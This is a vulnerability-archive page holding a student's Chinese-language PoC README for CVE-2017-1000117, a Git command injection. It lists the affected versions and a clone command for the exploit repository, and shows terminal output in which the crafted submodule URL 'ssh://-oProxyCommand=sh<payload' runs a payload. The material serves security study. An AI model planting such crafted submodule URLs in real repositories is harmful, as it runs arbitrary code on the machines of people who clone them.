Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2017-1000117 PoC — Git 命令注入漏洞

Source
Associated Vulnerability
Title: Git 命令注入漏洞 (CVE-2017-1000117)
Description:A malicious third-party can give a crafted "ssh://..." URL to an unsuspecting victim, and an attempt to visit the URL can result in any program that exists on the victim's machine being executed. Such a URL could be placed in the .gitmodules file of a malicious project, and an unsuspecting victim could be tricked into running "git clone --recurse-submodules" to trigger the vulnerability.
Description
CVE-2017-1000117漏洞复现(PoC+Exp)
Readme
# CVE-2017-1000117

### 项目简介

+ 网络安全课程设计选题之一
+ CVE-2017-1000117 漏洞的复现(PoC+Exp)
+ Git + SSH

### 漏洞简介:

+ 漏洞名称: Git命令注入漏洞
+ CNNVD编号:CNNVD-201708-670
+ 危害等级:中危
+ CVE编号:CVE-2017-1000117
+ 漏洞类型:命令注入
+ 发布时间:2017-08-16
+ 威胁类型:远程
+ 更新时间:2017-10-17
+ 厂商:git-scm
+ 漏洞来源:TrevorJay
+ 漏洞简介:Git是美国软件开发者林纳斯-托瓦兹(LinusTorvalds)所研发的一套免费、开源的分布式版本控制系统。Git2.7.5之前的版 本中存在命令漏洞。远程攻击者可借助特制的‘ssh://...’URL利用该漏洞运行任意设备已退出的程序。

### 利用过程

+ 安装漏洞范围内的版本的Git工具([Git for Linux]([https://github.com/git/git/releases](https://mirrors.edge.kernel.org/pub/software/scm/git/)、[Git for Windows](https://github.com/git-for-windows/git/releases)))
+ 我这里选择的是`git-2.12.1`这个版本(亲测Linux和Windows该版本都可用)(Linux和Windows对应的`2.12.1`版本的下载地址分别为 [git-2.12.1.tar.gz](https://github.com/git/git/archive/v2.12.1.tar.gz) 、[Git-2.12.1-64-bit.tar.bz2](https://github.com/git-for-windows/git/releases/download/v2.12.1.windows.1/Git-2.12.1-64-bit.tar.bz2))
+ 安装好Git直接包括子模块进行Clone项目:`git clone --recursive https://github.com/AnonymKing/CVE-2017-1000117.git`

```bash
$ git clone --recursive https://github.com/AnonymKing/CVE-2017-1000117.git
Cloning into 'CVE-2017-1000117'...
remote: Enumerating objects: 14, done.
remote: Counting objects: 100% (14/14), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 14 (delta 3), reused 8 (delta 0), pack-reused 0
Unpacking objects: 100% (14/14), done.
Submodule 'exploit' (ssh://-oProxyCommand=sh<payload /exploit) registered for path 'exploit'
Cloning into 'C:/Users/AnonymKing/Desktop/Git-2.12.1-64-bit/test/CVE-2017-1000117/exploit'...
Pseudo-terminal will not be allocated because stdin is not a terminal.


*********************************************
                   _ooOoo_
                  o8888888o
                  88" . "88
                  (| -_- |)
                  O\  =  /O
               ____/`---'\____
             .'  \\|     |//  `.
            /  \\|||  :  |||//  \
           /  _||||| -:- |||||-  \
           |   | \\\  -  /// |   |
           | \_|  ''\---/''  |   |
           \  .-\__  `-`  ___/-. /
         ___`. .'  /--.--\  `. . __
      ."" '&lt;  `.___\_&lt;|>_/___.'  >'"".
     | | :  `- \`.;`\ _ /`;.`/ - ` : | |
     \  \ `-.   \_ __\ /__ _/   .-` /  /
======`-.____`-.___\_____/___.-`____.-'======
                   `=---='
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

ssh_exchange_identification: Connection closed by remote host
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
fatal: clone of 'ssh://-oProxyCommand=sh<payload /exploit' into submodule path 'C:/Users/AnonymKing/Desktop/Git-2.12.1-64-bit/test/CVE-2017-1000117/exploit' failed
Failed to clone 'exploit'. Retry scheduled
```

+ 当你看到佛祖出现的时候,漏洞已经被复现出来了,payload中的恶意代码已经被成功执行。

---

### 2019/06/21 10:30 更新
+ 写报告的时候突然发现这个漏洞和 CVE-2018-17456 这个漏洞及其的相似,只是换了个说法,其根本都是都是无法正确解析符号“-”,误把其解析为参数才导致了任意代码执行。
+ 关于 CVE-2018-17456 这个漏洞的利用可以参考这篇博文:[《Git Submodule 漏洞(CVE-2018-17456)分析》](https://paper.seebug.org/716/](https://paper.seebug.org/716/)


---

### 2019/06/21 19:39 更新
+ 查找相关资料的时候又发现一个很类似的漏洞 CVE-2018-11235
+ 关于 CVE-2018-11235 漏洞这里给出几个参考文章:[CVE-2018-11235 git RCE](https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/)、[PoC exploit for CVE-2018-11235](https://github.com/Rogdham/CVE-2018-11235)、[Git远程代码执行漏洞(CVE-2018-11235)的详细分析](https://www.anquanke.com/post/id/146909)
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →